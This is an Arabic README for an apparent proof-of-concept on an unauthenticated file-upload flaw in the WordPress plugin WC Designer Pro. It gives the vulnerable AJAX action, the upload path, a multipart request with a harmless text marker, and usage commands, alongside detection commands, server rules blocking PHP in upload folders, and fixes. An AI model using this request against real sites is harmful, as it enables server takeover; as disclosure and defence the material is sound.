جدول المحتويات

• نظرة عامة على الثغرة
• الأثر الأمني
• الإصدارات المتأثرة
• السبب الجذري
• مسار الهجوم
• المتطلبات
• التثبيت
• الاستخدام
• التفاصيل التقنية
• التحقق الآمن
• مؤشرات التعرض
• المعالجة
• الاستخدام القانوني والأخلاقي
• حالة الإفصاح
• المراجع
• الإسناد

نظرة عامة على الثغرة

تحتوي WC Designer Pro على ثغرة رفع ملفات تعسفي دون مصادقة في إجراء AJAX مكشوف عبر نقطة نهاية admin-ajax.php في ووردبريس.

يعالج المعالج المتأثر بيانات الملفات الوصفية ومحتوى الملفات المتحكم بها من قبل المستخدم دون فرض مصادقة أو تفويض أو تحقق من الامتدادات أو تحقق من أنواع MIME أو قيود على أسماء الملفات من جهة الخادم بشكل كافٍ.

في ظل الإعدادات الهشة، قد يتمكن مهاجم غير مصادق من رفع ملف قابل للتنفيذ من جهة الخادم إلى دليل يمكن الوصول إليه عبر الويب. وقد يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عن بُعد بصلاحيات عملية خادم الويب.

لا يجوز نشر النطاق الدقيق للإصدارات المتأثرة أو معرّف CVE أو درجة CVSS إلا بعد التحقق منها بشكل مستقل.

الأثر الأمني

قد يسمح الاستغلال الناجح لمهاجم غير مصادق بما يلي:

• رفع ملفات غير مصرح بها إلى تثبيت ووردبريس.
• تخزين ملفات داخل دليل رفع عام الوصول.
• تنفيذ تعليمات برمجية من جهة الخادم عند قبول الامتدادات القابلة للتنفيذ.
• قراءة أو تعديل البيانات المتاحة لحساب خادم الويب.
• اختراق تثبيت ووردبريس المتأثر.
• استخدام الخادم المخترق كنقطة انطلاق لهجمات إضافية.

يعتمد الأثر النهائي على إعداد خادم الويب وقواعد تنفيذ PHP وصلاحيات نظام الملفات والضوابط الأمنية التي يوفرها مزوّد الاستضافة.

الإصدارات المتأثرة

نطاق الإصدارات المتأثرة قيد التحقق حالياً.

Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed

لا تدّعِ أن كل الإصدارات متأثرة ما لم تدعم الاختبارات أو تأكيد البائع هذا الاستنتاج.

السبب الجذري

يبدو أن مسار الرفع الهش يثق بالقيم التي يتحكم بها المهاجم والممرّرة إلى إجراء AJAX التالي:

wcdp_save_canvas_design_ajax

يحتوي الطلب على بيانات وصفية للملف مثل:

• امتداد الملف
• معرّف الملف
• معرّف الوجهة
• محتوى الملف المرفوع

توجد الثغرة عندما يقبل الخادم هذه القيم دون تنفيذ جميع الضوابط التالية:

1. فحوصات المصادقة والتفويض.
2. التحقق من nonce الخاص بووردبريس.
3. قائمة سماح صارمة للامتدادات.
4. التحقق من نوع MIME بناءً على محتوى الملف.
5. تطبيع أسماء الملفات وتعقيمها.
6. فرض وجهة رفع غير قابلة للتنفيذ.
7. منع الوصول المباشر عبر الويب إلى الملفات المؤقتة.

مسار الهجوم

Unauthenticated request
          │
          ▼
/wp-admin/admin-ajax.php
          │
          ▼
action=wcdp_save_canvas_design_ajax
          │
          ▼
Insufficient validation of uploaded file
          │
          ▼
File written to a web-accessible directory
          │
          ▼
Potential server-side code execution

يتبع مسار الرفع الملحوظ هذا البنية:

/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}

قد يختلف المسار الدقيق حسب إصدار الإضافة وإعداد ووردبريس وبيئة الخادم.

المتطلبات

• Python 3.8 أو أحدث
• pip
• بيئة مختبرية لووردبريس
• هدف مصرح به
• تثبيت هشّ لـ WC Designer Pro

يجب ألا يُستخدم إثبات المفهوم هذا ضد أنظمة طرف ثالث دون إذن كتابي صريح.

التثبيت

استنساخ المستودع:

git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc

إنشاء وتفعيل بيئة افتراضية:

python3 -m venv .venv
source .venv/bin/activate

على ويندوز:

python -m venv .venv
.venv\Scripts\Activate.ps1

تثبيت التبعيات:

pip install -r requirements.txt

مثال requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

الاستخدام

يجب تنفيذ إثبات المفهوم فقط ضد هدف مختبر مصرح به واحد.

python3 exploit.py --url https://wordpress-lab.example

لإجراء تحقق غير مدمر:

python3 exploit.py \
  --url https://wordpress-lab.example \
  --file ./payloads/verification.txt

ملف تحقق مثال:

WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing

استخدم أمر المساعدة المدمج لعرض الوسائط المدعومة:

python3 exploit.py --help

مثال على المخرجات:

usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]

WC Designer Pro arbitrary file-upload verification PoC

options:
  -h, --help         show this help message and exit
  --url URL          authorized WordPress target
  --file FILE        harmless verification file
  --timeout SECONDS  HTTP request timeout

التفاصيل التقنية

نقطة النهاية الهشة

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary

يستدعي الطلب:

action=wcdp_save_canvas_design_ajax

يُعرض أدناه بنية طلب مبسّطة:

------Boundary
Content-Disposition: form-data; name="action"

wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"

{
  "mode": "save",
  "editor": "frontend",
  "uniq": "research-verification",
  "files": [
    {
      "name": "verification",
      "ext": "txt",
      "count": "file1"
    }
  ]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain

Authorized security verification
------Boundary--

يستخدم هذا المثال عمداً ملفاً نصياً غير قابل للتنفيذ.

الاستجابة الملحوظة

قد يعيد الطلب الناجح استجابة مشابهة لما يلي:

{
  "userID": false,
  "filesCMYK": [],
  "success": true
}

الاستجابة الناجحة وحدها لا تثبت تنفيذ تعليمات برمجية عن بُعد. يجب على الباحث تأكيد ما يلي بشكل منفصل:

1. أنه تم إنشاء الملف.
2. أن الملف قابل للوصول.
3. أن دليل الوجهة يسمح بالتنفيذ من جهة الخادم.
4. أن الاختبار أُجري في بيئة مصرح بها.

التحقق الآمن

الإجراء الموصى به للتحقق هو:

1. نشر ووردبريس في بيئة محلية معزولة.
2. تثبيت إصدار الإضافة المشتبه بكونه هشاً.
3. إنشاء ملف علامة .txt غير ضار.
4. إرسال ملف العلامة باستخدام إجراء AJAX المتأثر.
5. تأكيد ما إذا كان الملف قد خُزّن دون مصادقة.
6. تسجيل طلب HTTP والاستجابة.
7. حذف ملف العلامة المرفوع.
8. تدمير البيئة المختبرية أو إعادة تعيينها.

تجنب رفع ويب شل أو حمولات تنفيذ أوامر عندما يكون ملف علامة غير ضار كافياً لإظهار الثغرة.

الأدلة المتوقعة

يجب أن يحتوي التقرير الصحيح على:

• إصدار ووردبريس.
• إصدار WC Designer Pro.
• إصدارات خادم الويب و PHP.
• طلب HTTP كامل.
• استجابة HTTP كاملة.
• مسار الملف الناتج.
• إثبات عدم استخدام جلسة مصادقة.
• لقطة شاشة أو سجل يؤكد ملف العلامة المرفوع.
• تأكيد التنظيف.

مؤشرات التعرض

يجب على المسؤولين فحص الدليل التالي:

/wp-content/uploads/wcdp-uploads/temp/

تشمل المؤشرات المحتملة:

• ملفات .php أو .phtml أو .phar أو ملفات قابلة للتنفيذ مماثلة غير متوقعة.
• أدلة فرعية بأسماء عشوائية.
• ملفات أنشأها مستخدمون مجهولون.
• طلبات إلى admin-ajax.php تستخدم إجراء AJAX المتأثر.
• طلبات HTTP تصل إلى ملفات منشأة حديثاً داخل دليل الرفع المؤقت.
• عمليات فرعية أنشأتها عملية PHP أو خادم الويب بشكل غير متوقع.

مثال على البحث في السجلات:

grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/

مثال على البحث في نظام الملفات:

find wp-content/uploads/wcdp-uploads/temp \
  -type f \
  \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)

المعالجة

ينبغي على مسؤولي المواقع:

1. تحديث WC Designer Pro إلى إصدار مصحح مؤكد عند توفره.
2. تعطيل الإضافة وإزالتها عند عدم توفر تصحيح.
3. حظر تنفيذ البرامج النصية من جهة الخادم داخل أدلة رفع ووردبريس.
4. فحص دليل الرفع المؤقت بحثاً عن ملفات غير مصرح بها.
5. مراجعة سجلات الوصول لخادم الويب بحثاً عن محاولات استغلال.
6. تدوير أملاح ووردبريس وبيانات اعتماد المسؤول إذا اشتبه في الاختراق.
7. تدوير بيانات اعتماد قاعدة البيانات والاستضافة و FTP و SSH و API عند الاقتضاء.
8. إعادة بناء تثبيت ووردبريس من مصادر موثوقة بعد اختراق مؤكد.

إعداد الخادم الموصى به

بالنسبة لـ Nginx، امنع تنفيذ PHP داخل أدلة الرفع:

location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

بالنسبة لـ Apache، ضع قاعدة مناسبة داخل دليل الرفع:

<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
    Require all denied
</FilesMatch>

هذه الضوابط إجراءات دفاع في العمق ولا تغني عن إصلاح كود الإضافة الهش.

الضوابط الموصى بها على مستوى الكود

يجب على مطوّري الإضافة:

• طلب المصادقة عند الاقتضاء.
• التحقق من صلاحيات المستخدم عبر current_user_can().
• طلب nonce خاص بووردبريس والتحقق منه.
• استخدام قائمة سماح صارمة للامتدادات المسموح بها.
• التحقق من الملفات باستخدام wp_check_filetype_and_ext().
• توليد أسماء ملفات من جهة الخادم.
• تخزين الملفات المؤقتة خارج جذر الويب عند الإمكان.
• منع تخزين المحتوى القابل للتنفيذ في أدلة الرفع.
• إرجاع أخطاء عامة دون كشف المسارات الداخلية.

الاستخدام القانوني والأخلاقي

هذا المستودع مخصص حصرياً لـ:

• اختبار الاختراق المصرح به.
• أبحاث الثغرات.
• التحقق الدفاعي.
• التعليم الأمني.
• إعادة الإنتاج في بيئات مختبرية معزولة.

لا تستخدم هذا الكود للوصول إلى أنظمة أو تعديلها أو تعطيلها أو اختراقها دون إذن صريح.

المؤلف غير مسؤول عن أي استخدام غير مصرح به أو غير قانوني أو مسيء لهذه المادة. يتحمل المستخدمون وحدهم مسؤولية الامتثال للقوانين والعقود وقواعد الاشتباك ومتطلبات الإفصاح المنسق عن الثغرات المعمول بها.

حالة الإفصاح

Discovery date:       To be added
Vendor contacted:     To be added
Vendor response:      To be added
Patch released:       To be added
CVE requested:        To be added
CVE assigned:         To be added
Public disclosure:    To be added

لا تنشر CVE مؤقتاً (placeholder) كما لو كان معرّفاً معيّناً.

عند تعيين CVE، استبدل العنصر المؤقت بالسجل الرسمي:

CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment

المراجع

• أمان إضافات ووردبريس
• توثيق AJAX في ووردبريس
• ورقة غش رفع الملفات من OWASP
• رفع الملفات غير المقيد من OWASP
• CWE-434: رفع غير مقيد لملف بنوع خطير

الإسناد

سجل التغييرات

v1.0.0

• إضافة سير عمل التحقق من الثغرة.
• إضافة دعم ملفات العلامات غير المدمرة.
• إضافة كشف نقطة النهاية وتعرض الإضافة.
• إضافة جمع أدلة منظم.
• إضافة مهلة الطلب ومعالجة الأخطاء.
• إضافة إرشادات المعالجة والاستجابة للحوادث.